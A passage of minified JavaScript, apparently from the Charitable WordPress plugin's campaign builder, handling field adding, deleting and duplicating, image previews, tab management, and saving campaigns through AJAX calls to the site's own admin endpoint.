selection=file_frame.state().get(\"selection\");selection.each(function(attachment,index){attachment=attachment.toJSON();window.formfield.val(attachment.url);app.updateImagePhotoPreview(window.field_id,attachment.url);window.field_id=false})});file_frame.open()});$builder.on(\"click\",\".charitable-campaign-builder-clear-button\",function(e){e.preventDefault();const button=$(this),field_id=$(this).closest(\".charitable-panel-field\").data(\"field-id\");button.closest(\".charitable-internal\").find('input[type=\"url\"]').val(\"\");app.updateImagePhotoPreview(field_id,false)})},updateImagePhotoPreview:function(field_id=0,imageUrl=\"\"){const preview_field=$(\"#charitable-field-\"+field_id),preview_field_image=preview_field.find(\"img.charitable-campaign-builder-preview-photo\");if(false===imageUrl||\"\"===imageUrl||!app.isValidURL(imageUrl)){preview_field.find(\".primary-image-container .primary-image img\").remove();preview_field.find(\".primary-image-container .primary-image\").append('\u003Cimg src=\"..\u002F..\u002Fimages\u002Fcampaign-builder\u002Ffields\u002Fphoto\u002Ftemp-icon.svg\" class=\"temp-icon\" alt=\"\" \u002F>');preview_field.find(\".primary-image-container\").removeClass(\"has-image\")}else{preview_field.find(\"i.temp-icon\").remove();if(preview_field_image.length>0){preview_field_image.attr(\"src\",imageUrl)}else{preview_field.find(\".primary-image-container .primary-image\").append('\u003Cimg src=\"'+imageUrl+'\" class=\"charitable-campaign-builder-preview-photo\" \u002F>');preview_field.find(\".primary-image-container\").addClass(\"has-image\")}}},isValidURL:function(str){var pattern=new RegExp(\"^(https?:\\\\\u002F\\\\\u002F)?\"+\"((([a-z\\\\d]([a-z\\\\d-]*[a-z\\\\d])*)\\\\.)+[a-z]{2,}|\"+\"((\\\\d{1,3}\\\\.){3}\\\\d{1,3}))\"+\"(\\\\:\\\\d+)?(\\\\\u002F[-a-z\\\\d%_.~+]*)*\"+\"(\\\\?[;&a-z\\\\d%_.~+=-]*)?\"+\"(\\\\#[-a-z\\\\d_]*)?$\",\"i\");return!!pattern.test(str)},resetPreviewArea:function(){elements.$formPreview.find(\".charitable-field\").each(function(){$(this).removeClass(\"active\")});$(\".charitable-select-field-notice\").show();$(\".charitable-layout-options-tab-general .charitable-panel-field\").removeClass(\"active\");$(\"#charitable-preview-tab-container\").removeClass(\"active\")},fieldDelete:function(id,confirmation=true){var $field=$(\"#charitable-field-\"+id),type=$field.data(\"field-type\");if($field.hasClass(\"no-delete\")){app.youCantRemoveFieldPopup();return}if(confirmation){app.confirmFieldDeletion(id,type)}else{app.fieldDeleteById(id,type)}},confirmFieldDeletion:function(id,type){var fieldData={id:id,message:charitable_builder.delete_confirm};var event=CharitableUtils.triggerEvent($builder,\"charitableBeforeFieldDeleteAlert\",[fieldData,type]);if(event.isDefaultPrevented()){return}$.confirm({title:false,content:fieldData.message,icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){app.fieldDeleteById(id,type)}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})},confirmCampaignDeletion:function(){$builder.on(\"click\",\".charitable-button.alert.delete-campaign\",function(e){e.preventDefault();$.alert({title:false,content:charitable_builder.campaign_delete_confirm,icon:\"fa fa-info-circle\",type:\"red\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})})},fieldDeleteById:function(id=false,type=\"\",duration=200){if(id===false){return}$(`#charitable-field-${id}`).fadeOut(duration,function(){const $field=$(this),section=$field.closest(\".charitable-field-section\"),type=$field.data(\"field-type\"),max=typeof $field.data(\"field-max\")!==\"undefined\"?parseInt($field.data(\"field-max\")):99;$builder.trigger(\"charitableBeforeFieldDelete\",[id,type]);$field.remove();$(\"#charitable-field-option-\"+id).remove();$(\".charitable-field, .charitable-preview-top-bar\").removeClass(\"active\");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+id+'\"]').remove();$(\".charitable-select-field-notice\").show();app.checkNoFieldsPreview();app.checkFieldTargetState(section);if(max===0||elements.$preview.find(\".charitable-field.charitable-field-donate-amount\").length\u003Cmax){$(\"#charitable-panel-design button#charitable-add-fields-donate-amount\").removeClass(\"charitable-disabled\")}app.checkIfTabsAreEmpty();if($(\".charitable-layout-options-tab.charitable-layout-options-tab-general\").hasClass(\"active\")){app.fieldTabToggle(\"add-layout\")}const $fieldsOptions=$(\".charitable-field-option\"),$submitButton=$builder.find(\".charitable-field-submit\");if($fieldsOptions.length\u003C1){elements.$sortableFieldsWrap.append(elements.$noFieldsPreview.clone());elements.$fieldOptions.append(elements.$noFieldsOptions.clone());$submitButton.hide()}if(!$fieldsOptions.filter(\":not(.charitable-field-option-layout)\").length){$submitButton.hide()}app.checkFieldAllow();app.checkFieldMax(type,max);app.checkRecommendedFields(type);if(wpCookies.get(\"charitable_panel_active_field_id\")===id){wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3)}app.setCampaignNotSaved();$builder.trigger(\"charitableFieldDelete\",[id,type])})},fieldEdit:function(type,section,edit_field_id,field_id,field_type){if(section===\"general\"||section===\"standard\"||section===\"pro\"||section===\"recommended\"){app.panelSwitch(\"design\");$(\".charitable-select-field-notice\").hide();$(\".charitable-layout-options-tab-general .charitable-panel-field\").removeClass(\"active\");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').addClass(\"active\");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').find(\"input[type=text],input[type=button],input[type=range],input[type=url],textarea,select\").filter(\":visible:first\").focus();if(\"html\"===field_type){$builder.trigger(\"charitableFieldAddHTML\",[field_id,field_type])}else{$builder.trigger(\"charitableFieldEdit\",[type,section,edit_field_id,field_id,field_type])}}},fieldDuplicate:function(id){const $field=$(`#charitable-field-${id}`);if($field.hasClass(\"no-duplicate\")){$.alert({title:charitable_builder.field_locked,content:charitable_builder.field_locked_no_duplicate_msg,icon:\"fa fa-info-circle\",type:\"blue\",buttons:{confirm:{text:charitable_builder.close,btnClass:\"btn-confirm\",keys:[\"enter\"]}}});return}$.confirm({title:false,content:charitable_builder.duplicate_confirm,icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){this.$$confirm.prop(\"disabled\",true);const beforeEvent=CharitableUtils.triggerEvent($builder,\"charitableBeforeFieldDuplicate\",[id,$field]);if(beforeEvent.isDefaultPrevented()){return}const newFieldId=app.fieldDuplicateRoutine(id),$newField=$(`#charitable-field-${newFieldId}`);CharitableUtils.triggerEvent($builder,\"charitableFieldDuplicated\",[id,$field,newFieldId,$newField])}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})},fieldDuplicateRoutine:function(id){const $field=$(`#charitable-field-${id}`),$fieldActiveFields=elements.$sortableFieldsWrap.find(\"> .active\"),$fieldActiveTabs=elements.$sortableFieldsWrap.find(\"> .active\"),$newField=$field.clone(),newFieldID=parseInt(elements.$nextFieldId.val(),10)+1,$settingsArea=$('#charitable-field-options .charitable-layout-options-group-inner .charitable-panel-field[data-field-id=\"'+id+'\"]');if($newField){app.updateFormHiddenFieldID(newFieldID)}$field.after($newField);$fieldActiveFields.removeClass(\"active\");$fieldActiveTabs.removeClass(\"active\");$newField.addClass(\"active\").attr({id:`charitable-field-${newFieldID}`,\"data-field-id\":newFieldID});$settingsArea.each(function(){var $newSettingsField=$(this).clone(),isContains=$newSettingsField.text().indexOf(\"ID:\")>-1;$newSettingsField.attr(\"data-field-id\",newFieldID);$(this).removeClass(\"active\");$newSettingsField.addClass(\"active\");if(isContains){$newSettingsField.text(function(index,text){return text.replace(\"ID: \"+id,\"ID: \"+newFieldID)})}if(typeof $newSettingsField.attr(\"name\")!==\"undefined\"&&$newSettingsField.attr(\"name\").length>0){$newSettingsField.attr(\"name\",$newSettingsField.attr(\"name\").replace(id,newFieldID))}if(typeof $newSettingsField.attr(\"id\")!==\"undefined\"&&$newSettingsField.attr(\"id\").length>0){$newSettingsField.attr(\"id\",$newSettingsField.attr(\"id\").replace(id,newFieldID))}$newSettingsField.find(\"*\").each(function(){var $subField=$(this);if(typeof $subField.attr(\"for\")!==\"undefined\"&&$subField.attr(\"for\").length>0){$subField.attr(\"for\",$subField.attr(\"for\").replace(id,newFieldID))}if(typeof $subField.attr(\"name\")!==\"undefined\"&&$subField.attr(\"name\").length>0){$subField.attr(\"name\",$subField.attr(\"name\").replace(id,newFieldID))}if(typeof $subField.attr(\"id\")!==\"undefined\"&&$subField.attr(\"id\").length>0){$subField.attr(\"id\",$subField.attr(\"id\").replace(id,newFieldID))}if(typeof $subField.data(\"field-id\")!==\"undefined\"&&$subField.data(\"field-id\").length>0){$newSettingsField.attr(\"data-field-id\",newFieldID)}});$newSettingsField.find(\".charitable-toggle-control\").attr(\"data-field-id\",newFieldID);$newSettingsField.find(\".charitable-checkbox-for-toggle\").attr(\"data-field-id\",newFieldID);$(\"#charitable-field-options .charitable-layout-options-tab-general .charitable-layout-options-group-inner\").append($newSettingsField);if(typeof $newSettingsField.data(\"special-type\")!==\"undefined\"&&$newSettingsField.data(\"special-type\")===\"campaign_description\"){let contentToCopy=$newSettingsField.find(\".campaign-builder-htmleditor .ql-editor\").html();$newSettingsField.find(\".ql-toolbar\").remove();$newSettingsField.find(\".campaign-builder-htmleditor\").html('\u003Cdiv data-textarea-name=\"_fields['+newFieldID+'][content]\" id=\"charitable-panel-field-settings-field_campaign-description_html_'+newFieldID+'\" class=\"campaign-builder-htmleditor\">'+contentToCopy+\"\u003C\u002Fdiv>\");app.initHTMLEditorFields($newSettingsField.find(\".campaign-builder-htmleditor\"),false)}app.checkFieldAllow();app.checkFieldMax()});return newFieldID},focusOutEvent:function(){if(elements.$focusOutTarget===null){return}elements.$focusOutTarget=null},isFormPreviewActionsDisabled:function(el){return $(el).closest(\".charitable-field-wrap\").hasClass(\"ui-sortable-disabled\")},fieldGroupTogglev2:function(el,action){var $this=$(el),groupName=$this.closest(\".charitable-group\").data(\"group_id\"),$nearestGroup=$this.closest(\".charitable-group\"),$rows=$nearestGroup.find(\".charitable-group-rows\"),$group=$rows.parent(),$icon=$this.find(\"i\"),cookieName=\"charitable_panel_layout_options_tabs_tab_open_\"+groupName;if(action===\"click\"){$icon.toggleClass(\"charitable-angle-right\");$rows.stop().slideToggle(\"\",function(){$nearestGroup.toggleClass(\"charitable-closed\");if($nearestGroup.hasClass(\"charitable-closed\")){$nearestGroup.removeClass(\"charitable-open\");wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,\"true\",2592e3)}});return}},fieldGroupTogglev3:function(el,action=\"click\"){var $this=$(el),$nearestGroup=$this.closest(\".charitable-add-fields-group\"),$rows=$nearestGroup.find(\".charitable-group-rows\"),$icon=$this,groupName=\"test\",cookieName=\"charitable_panel_add_layout_blocks_open_\"+groupName;if(action===\"click\"){$icon.toggleClass(\"charitable-angle-right\");$rows.stop().slideToggle(\"\",function(){$nearestGroup.toggleClass(\"charitable-closed\");if($nearestGroup.hasClass(\"charitable-closed\")){$nearestGroup.removeClass(\"charitable-open\");wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,\"true\",2592e3)}});return}},fieldGroupToggle:function(el,action){var $this=$(el),$buttons=$this.next(\".charitable-add-fields-buttons\"),$group=$buttons.parent(),$icon=$this.find(\"i\"),groupName=$this.data(\"group\"),cookieName=\"charitable_field_group_\"+groupName;if(groupName==\"general-layout-campaign\"||groupName==\"general-layout-faq\"){$group=$this.parent().find(\".charitable-\"+groupName+\"-group-inner\");$buttons=$group}if(action===\"click\"){if($group.hasClass(\"charitable-closed\")){wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,\"true\",2592e3)}$icon.toggleClass(\"charitable-angle-right\");$buttons.stop().slideToggle(\"\",function(){$group.toggleClass(\"charitable-closed\")});return}else if(action===\"load\"){$buttons=$this.find(\".charitable-add-fields-buttons\");$icon=$this.find(\".charitable-add-fields-heading i\");groupName=$this.find(\".charitable-add-fields-heading\").data(\"group\");cookieName=\"charitable_field_group_\"+groupName;if(wpCookies.get(cookieName)===\"true\"){$icon.toggleClass(\"charitable-angle-right\");$buttons.hide();$this.toggleClass(\"charitable-closed\")}}},fieldMove:function(type,options){var $field=options.field;$field.find(\".charitable-field-edit\").click();$builder.find(\".charitable-add-fields .charitable-add-fields-button\").prop(\"disabled\",false);var section=$field.closest(\".charitable-field-section\");app.checkFieldTargetState(section);if(options.section){app.checkFieldTargetState(options.section)}$builder.trigger(\"charitableFieldMove\",[options.fieldId,type])},fieldAdd:function(type,options){const $btn=$(`#charitable-add-fields-${type}`);adding=true;if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.disableDragAndDrop===\"function\"){Charitable.Admin.Builder.DragFields.disableDragAndDrop()}app.disableFormActions();let defaults={campaign_title:s.campaignTitle,position:\"bottom\",$sortable:\"base\",placeholder:false,scroll:true,defaults:false,column_id:options.column_id,tab_id:options.tab_id,section_id:options.section_id,area:\"fields\"};options=$.extend({},defaults,options);let data={action:\"charitable_new_field_\"+type,id:s.formID,column_id:options.column_id,tab_id:options.tab_id,section_id:options.section_id,field_id:parseInt(elements.$nextFieldId.val())+1,type:type,campaign_title:options.campaign_title,defaults:options.defaults,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(res){if(!res.success){wpchar.debug(\"Add field AJAX call is unsuccessful:\",res);return}wpchar.debug(\"fieldAdd return\");app.refreshTabFieldsSortDrag();let $baseFieldsContainer=options.area===\"tabs\"?elements.$sortableTabContent.find('li[data-tab-id=\"'+data.tab_id+'\"] .charitable-tab-wrap'):elements.$formPreview.find('.charitable-field-wrap[data-section-id=\"'+data.section_id+'\"]');wpchar.debug($baseFieldsContainer);const $newField=$(res.data.preview),maxAllowed=typeof res.data.max!==\"undefined\"?parseInt(res.data.max):99,$newOptions=$(res.data.options);let $fieldContainer=options.$sortable;adding=false;$newField.css(\"display\",\"none\");if(options.placeholder){options.placeholder.remove()}if(options.$sortable===\"default\"||!options.$sortable.length){$fieldContainer=$baseFieldsContainer.find(\".charitable-fields-sortable-default\")}if(options.$sortable===\"base\"||!$fieldContainer.length){$fieldContainer=$baseFieldsContainer}let event=CharitableUtils.triggerEvent($builder,\"charitableBeforeFieldAddToDOM\",[options,$newField,$newOptions,$fieldContainer]);if(event.isDefaultPrevented()){return}if(!event.skipAddFieldToBaseLevel){app.fieldAddToBaseLevel(options,$newField,$newOptions)}if(elements.$preview.find(\".charitable-field.charitable-field-donate-amount\").length>=maxAllowed){$(\"#charitable-panel-design button#charitable-add-fields-donate-amount\").addClass(\"charitable-disabled\")}$newField.fadeIn();app.checkFieldTargetState($('.charitable-field-section[data-section-id=\"'+data.section_id+'\"]'));$newField.find(\".charitable-field-edit\").click();if($(\".charitable-field-option:not(.charitable-field-option-layout)\").length){$builder.find(\".charitable-field-submit\").show()}app.updateFormHiddenFieldID(res.data.field_id);if(res.data.edit_field_html!==\"\"){$(\".charitable-layout-options-tab-general .charitable-layout-options-group-inner\").append(res.data.edit_field_html).find('.charitable-panel-field[data-field-id=\"'+res.data.field_id+'\"]').addClass(\"active\");if(res.data.html_field!=\"\"){$('.charitable-panel-field[data-field-id=\"'+res.data.field_id+'\"]').find(\".campaign-builder-htmleditor\").each(function(){app.initHTMLEditorFields($(this),false)})}if(type===\"campaign-description\"&&typeof s.campaignDescription!==\"undefined\"){$newField.find(\".charitable-campaign-builder-no-description-preview\").html(\"\u003Cdiv>\"+s.campaignDescription+\"\u003C\u002Fdiv>\");if($(\"#charitable-panel-field-settings-field_campaign-description_html_\"+data.field_id).find(\".ql-editor\").length===0){app.initHTMLEditorFields($(\"#charitable-panel-field-settings-field_campaign-description_html_\"+data.field_id))}$(\"#charitable-panel-field-settings-field_campaign-description_html_\"+data.field_id).find(\".ql-editor\").html(s.campaignDescription)}}if(res.data.field.type===\"organizer\"){$('.campaign-builder-campaign-creator-id-mini[data-field-id=\"'+res.data.field_id+'\"] select').select2({templateResult:app.campaignCreatorFormatOptions})}app.checkFieldAllow();app.checkFieldMax();app.updateEndDateRelatedItems();app.updateGoalRelatedItems();app.checkRecommendedFields(type);var fieldContainerSectionType=$fieldContainer.data(\"section-type\"),forceDeleteNoPreview=false;if(typeof fieldContainerSectionType!==\"undefined\"&&fieldContainerSectionType===\"fields\"){forceDeleteNoPreview=true}app.checkNoFieldsPreview();if(\"photo\"===type){$('.charitable-panel-field-uploader[data-field-id=\"'+res.data.field_id+'\"] input.charitable-campaign-builder-upload-button').click()}else if(\"donate-amount\"===type){$(\".charitable-campaign-suggested-donations-mini\").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))})}$builder.trigger(\"charitableFieldAdd\",[res.data.field.id,type])}).fail(function(xhr,textStatus,e){adding=false}).always(function(){$builder.find(\".charitable-add-fields .charitable-add-fields-button\").prop(\"disabled\",false);if(!adding){if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.enableDragAndDrop===\"function\"){Charitable.Admin.Builder.DragFields.enableDragAndDrop()}app.enableFormActions()}})},fieldAddToBaseLevel:function(options,$newField,$newOptions){wpchar.debug(\"options\");wpchar.debug(options);let $baseFieldsContainer=\"\";if(options.area===\"tabs\"){$baseFieldsContainer=elements.$sortableTabContent.find('li[data-tab-id=\"'+options.tab_id+'\"] .charitable-tab-wrap');$baseFieldsContainer.parent().removeClass(\"empty-tab\")}else{$baseFieldsContainer=elements.$formPreview.find('.charitable-field-wrap[data-section-id=\"'+options.section_id+'\"]')}wpchar.debug(\"baseFieldsContainer\");wpchar.debug($baseFieldsContainer);const $baseFields=$baseFieldsContainer.find(\"> :not(.charitable-field-drag-pending)\"),$lastBaseField=$baseFields.last(),totalBaseFields=$baseFields.length;let $fieldInPosition=elements.$fieldOptions;if(options.position===\"top\"){$baseFieldsContainer.prepend($newField);return}if(options.position===\"bottom\"&&(!$lastBaseField.length||!$lastBaseField.hasClass(\"charitable-field-stick\"))){wpchar.debug(\"adding field to the bottom!!!!\");$baseFieldsContainer.append($newField);return}if(options.position===\"bottom\"){options.position=totalBaseFields}if(options.position===totalBaseFields&&$lastBaseField.length&&$lastBaseField.hasClass(\"charitable-field-stick\")){$lastBaseField.before($newField);return}$fieldInPosition=$baseFieldsContainer.children(\":not(.charitable-field-drag-pending)\").eq(options.position);if($fieldInPosition.length){$fieldInPosition.before($newField);return}$baseFieldsContainer.append($newField)},checkIfTabsAreEmpty:function(){elements.$preview.find(\".tab-content ul li.tab_content_item\").each(function(){var numfields=$(this).find(\".charitable-field\").length;if(numfields===0){$(this).addClass(\"empty-tab\")}})},disableFormActions:function(disableExit=false,disableCampaignTitleEdit=true,disablePreviewButton=false){$.each([elements.$embedButton,elements.$statusButton,elements.$saveButton],function(_index,button){button.prop(\"disabled\",true).addClass(\"charitable-disabled\")});if(disableExit){$.each([elements.$exitButton],function(_index,button){button.prop(\"disabled\",true).addClass(\"charitable-disabled\")})}if(disableCampaignTitleEdit){$(\".charitable-edit-campaign-title-area\").addClass(\"charitable-disabled\");$(\".charitable-edit-campaign-title-area input\").prop(\"disabled\",true);$(\".charitable-edit-campaign-title-area a\").addClass(\"charitable-disabled\")}if(disablePreviewButton){elements.$previewButton.prop(\"disabled\",true).addClass(\"charitable-disabled\")}},enableFormActions:function(){$.each([elements.$statusButton,elements.$saveButton,elements.$exitButton],function(_index,button){button.prop(\"disabled\",false).removeClass(\"charitable-disabled\")});$(\".charitable-edit-campaign-title-area\").removeClass(\"charitable-disabled\");$(\".charitable-edit-campaign-title-area input\").prop(\"disabled\",false);$(\".charitable-edit-campaign-title-area a\").removeClass(\"charitable-disabled\");if(s.formStatus===\"publish\"){elements.$embedButton.prop(\"disabled\",false).removeClass(\"charitable-disabled\")}},fieldChoiceDeleteAlert:function(){$.alert({title:false,content:charitable_builder.error_choice,icon:\"fa fa-info-circle\",type:\"blue\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},fieldChoiceSortable:function(type,selector){selector=typeof selector!==\"undefined\"?selector:\".charitable-field-option-\"+type+\" .charitable-field-option-row-choices ul\";$(selector).sortable({items:\"li\",axis:\"y\",delay:100,opacity:.6,handle:\".move\",stop:function(e,ui){var id=ui.item.parent().data(\"field-id\");app.fieldChoiceUpdate(type,id);$builder.trigger(\"charitableFieldChoiceMove\",ui)},update:function(e,ui){}})},tabDelete:function(groupID){app.confirmTabDeletion(groupID)},confirmTabDeletion:function(groupID){var tabData={id:groupID,message:charitable_builder.delete_tab_confirm};var event=CharitableUtils.triggerEvent($builder,\"charitableBeforeTabDeleteAlert\",[tabData]);if(event.isDefaultPrevented()){return}$.confirm({title:false,content:charitable_builder.delete_tab_confirm,icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){app.tabDeleteById(groupID)}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})},tabDeleteById:function(groupID){const tab_settings=elements.$fieldOptions.find('[data-group_id=\"'+groupID+'\"]'),tab_preview_nav=$(\"nav ul li#tab_\"+groupID+\"_title\"),tab_preview_content=elements.$preview.find('.tab-content ul li.tab_content_item[data-tab-id=\"'+groupID+'\"]'),tab_count=elements.$preview.find(\".tab-content .tab_content_item\").length-1,previous_group_ID=Math.abs(groupID-1),tab_content=elements.$preview.find(\".tab-content\");tab_settings.remove();tab_preview_nav.remove();tab_preview_content.remove();if(elements.$preview.find('nav.charitable-campaign-preview-nav ul li[data-tab-id=\"'+previous_group_ID+'\"] a').length>0){elements.$preview.find('nav.charitable-campaign-preview-nav ul li[data-tab-id=\"'+previous_group_ID+'\"] a').click()}else if(tab_count===1){elements.$preview.find(\"nav.charitable-campaign-preview-nav ul li a\").first().click()}if(tab_count===0){tab_content.addClass(\"empty-tabs\");tab_content.append('\u003Cp class=\"no-tab-notice\">'+charitable_builder.no_tabs+\"\u003C\u002Fp>\")}else{tab_content.removeClass(\"empty-tabs\");tab_content.find(\".no-tab-notice\").remove()}app.checkHideTabNavigation()},bindUIActionsPreview:function(){$(\"body\").on(\"click\",\"a#charitable-preview-btn\",function(e){e.preventDefault();e.stopPropagation();if(parseInt(elements.$campaignID.val())===0){$.alert({title:charitable_builder.no_preview_must_save,content:charitable_builder.no_preview_must_save_msg,icon:\"fa fa-info-circle\",type:\"blue\",buttons:{confirm:{text:charitable_builder.close,btnClass:\"btn-confirm\",keys:[\"enter\"]}}});return}else{var openNewTabURL=\"\";if(typeof this.href!==\"undefined\"){openNewTabURL=this.href.replace(\"charitable_campaign_preview=0\",\"charitable_campaign_preview=\"+s.campaignID)}if(typeof s.formStatus!==\"undefined\"&&s.formStatus===\"publish\"){app.formSave(false,true,openNewTabURL)}else if(typeof s.formStatus!==\"undefined\"&&s.formStatus===\"draft\"){app.formSave(false,true,openNewTabURL)}}})},bindUIActionsSaveExit:function(){$builder.on(\"click\",\"#charitable-embed\",function(e){e.preventDefault();e.stopPropagation();if($(this).hasClass(\"charitable-disabled\")){return}CharitableCampaignEmbedWizard.openPopup(s.formID)});$builder.on(\"click\",\"#charitable-status-button\",function(e){e.preventDefault();e.stopPropagation();if($(this).hasClass(\"charitable-disabled\")){return}if($(this).hasClass(\"active\")){$(this).parent().find(\"ul#charitable-status-dropdown\").addClass(\"charitable-hidden\");$(this).removeClass(\"active\")}else{$(this).parent().find(\"ul#charitable-status-dropdown\").removeClass(\"charitable-hidden\");$(this).addClass(\"active\")}});$builder.on(\"click\",\"ul#charitable-status-dropdown a\",function(e){e.preventDefault();e.stopPropagation();if($(\"#charitable-status-button\").hasClass(\"charitable-disabled\")){return}var newStatus=$(this).data(\"status\"),newStatusLabel=$(this).data(\"status-label\"),$statusDropdown=$(\"ul#charitable-status-dropdown\");$statusDropdown.addClass(\"charitable-hidden\");$(\"#charitable-status-button\").removeClass(\"active\");$(\"#charitable-status-button span.text\").html(newStatusLabel);$(\"#charitable-status-button\").attr(\"data-status\",newStatus);$statusDropdown.find(\"a\").removeClass(\"charitable-hidden\");$statusDropdown.find(\"a.switch-\"+newStatus).addClass(\"charitable-hidden\");$statusDropdown.find(\"a.\"+newStatus).addClass(\"charitable-hidden\");if(newStatus===\"draft\"){}else if(newStatus===\"publish\"){}s.formStatus=newStatus;s.formStatusLabel=newStatusLabel});$builder.on(\"click\",function(e){if($(e.target).is(\"#charitable-status-dropdown\")===false){$(\"ul#charitable-status-dropdown\").addClass(\"charitable-hidden\");$(\"#charitable-status-button\").removeClass(\"active\")}});$builder.on(\"click\",\"#charitable-save\",function(e){e.preventDefault();app.formSave(false)});$builder.on(\"click\",\"#charitable-exit\",function(e){e.preventDefault();app.formExit()});$builder.on(\"charitableSaved\",function(e,data){$(\"#charitable_settings_title\").attr(\"disabled\",true);wpchar.removeQueryParam(\"newform\")})},updateFormID:function(){var data={action:\"charitable_get_campaign_form_id\",id:s.formID,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){var campaignID=response.data.campaign_id,redirect=false;$(\"form#charitable-builder-form\").attr(\"data-id\",campaignID);$('form#charitable-builder-form input[name=\"id\"]').val(campaignID);if(response.data.field_id){elements.$nextFieldId.val(parseInt(response.data.field_id))}wpchar.savedState=wpchar.getFormState(\"#charitable-builder-form\");wpchar.initialSave=false;$builder.trigger(\"charitableSaved\",response.data);app.updateDebugWindow(response.data,response.data.campaign_id);if(true===redirect){window.location.href=charitable_builder.exit_url}}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},updateFormHiddenFields:function(){$('#charitable-panel-design .charitable-panel-content-wrap input[type=\"hidden\"]').remove();$(\".charitable-field-wrap .charitable-field, .charitable-tab-wrap .charitable-field\").each(function(){var row_type=$(this).closest(\".row\").data(\"row-type\"),row_id=$(this).closest(\".row\").data(\"row-id\"),row_css=$(this).closest(\".row\").data(\"row-css\").length>0?$(this).closest(\".row\").data(\"row-css\"):\"no-css\",column_id=$(this).closest(\".column.charitable-field-column\").data(\"column-id\"),section_type=$(this).closest(\".section.charitable-field-section\").data(\"section-type\"),section_id=$(this).closest(\".section.charitable-field-section\").data(\"section-id\"),field_id=$(this).data(\"field-id\"),tab_id=\"tabs\"===section_type?$(this).closest(\"li.tab_content_item\").data(\"tab-id\"):false;if(typeof row_id!==\"undefined\"){if(\"tabs\"===section_type){elements.$formPreview.append('\u003Cinput type=\"hidden\" name=\"layout[row][row-type-'+row_type+\"][\"+row_id+\"][\"+row_css+\"][column][\"+column_id+\"][section][section-type-\"+section_type+\"][\"+section_id+\"][tabs][\"+tab_id+\"][fields][\"+field_id+']\" value=\"'+$(this).data(\"field-type\")+'\" \u002F>')}else{elements.$formPreview.append('\u003Cinput type=\"hidden\" name=\"layout[row][row-type-'+row_type+\"][\"+row_id+\"][\"+row_css+\"][column][\"+column_id+\"][section][section-type-\"+section_type+\"][\"+section_id+\"][fields][\"+field_id+']\" value=\"'+$(this).data(\"field-type\")+'\" \u002F>')}}})},updateFormHiddenFieldID:function(newValue=0){if(0===newValue){var field_id=0;elements.$formPreview.find(\".charitable-field\").each(function(){var value=parseFloat($(this).attr(\"data-field-id\"));field_id=value>field_id?value:field_id});newValue=field_id}elements.$nextFieldId.val(parseInt(newValue))},updatePreviewLink:function(previewLink=\"\"){elements.$previewButton.attr(\"href\",previewLink)},updateSuggestDonationsSettings:function($element,theIndex){if(!$element.is(\"input\")||app.getInputType($element)!==\"text\"){return}$(\"table#campaign_donation_amounts tbody\").find('input[type=\"text\"].campaign_suggested_donations').eq(theIndex).val($element.val());$(\".charitable-campaign-suggested-donations-mini tbody\").find('input[type=\"text\"].campaign_suggested_donations').eq(theIndex).val($element.val());elements.$preview.find(\".charitable-field-donate-amount li.charitable-preview-donation-amount\").eq(theIndex\u002F2-1).find(\"span\").first().html($element.val())},updateAllowCustomDonationSettings:function(isChecked){const $custom_preview_fields=elements.$preview.find(\".charitable-preview-donation-options .custom-donation-amount\");if(isChecked){$custom_preview_fields.removeClass(\"charitable-hidden\")}else{$custom_preview_fields.addClass(\"charitable-hidden\")}},updateSuggestedDonationAmountDefault:function(selectedValue=0){if(selectedValue>0){$('input[type=\"radio\"].campaign_suggested_donations').prop(\"checked\",false);$('input[type=\"radio\"][value='+selectedValue+\"].campaign_suggested_donations\").prop(\"checked\",true);elements.$preview.find(\".charitable-field.charitable-field-donate-amount li\").removeClass(\"selected\");elements.$preview.find(\".charitable-preview-donation-amounts li:nth-child(\"+selectedValue+\")\").addClass(\"selected\");if(elements.$preview.find('.charitable-field.charitable-field-donate-amount input[type=\"radio\"]').length>0){elements.$preview.find('.charitable-field.charitable-field-donate-amount input[type=\"radio\"]:eq('+(selectedValue-1)+\")\").prop(\"checked\",true)}}else{$(\"input:radio].campaign_suggested_donations\").prop(\"checked\",false)}},getInputType:function($element){var thistest=$element;return thistest[0].tagName.toString().toLowerCase()===\"input\"?$(thistest[0]).prop(\"type\").toLowerCase():thistest[0].tagName.toLowerCase()},updateCampaignCreatorInfo:function(){var data={action:\"charitable_update_campaign_creator\",creator_id:parseInt($(\"select#charitable-panel-field-settings-campaign_campaign_creator_id\").val()),campaign_id:s.formID,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){$(\"#campaign-creator .charitable-campaign-creator-avatar img\").attr(\"src\",response.data.avatar_url);$(\"#campaign-creator h3.creator-name\").html(response.data.creator_name);$(\"#campaign-creator p.joined-on span\").html(response.data.joined_on);$(\"#campaign-creator a.public-profile-link\").attr(\"href\",response.data.public_profile_link);$(\"#campaign-creator 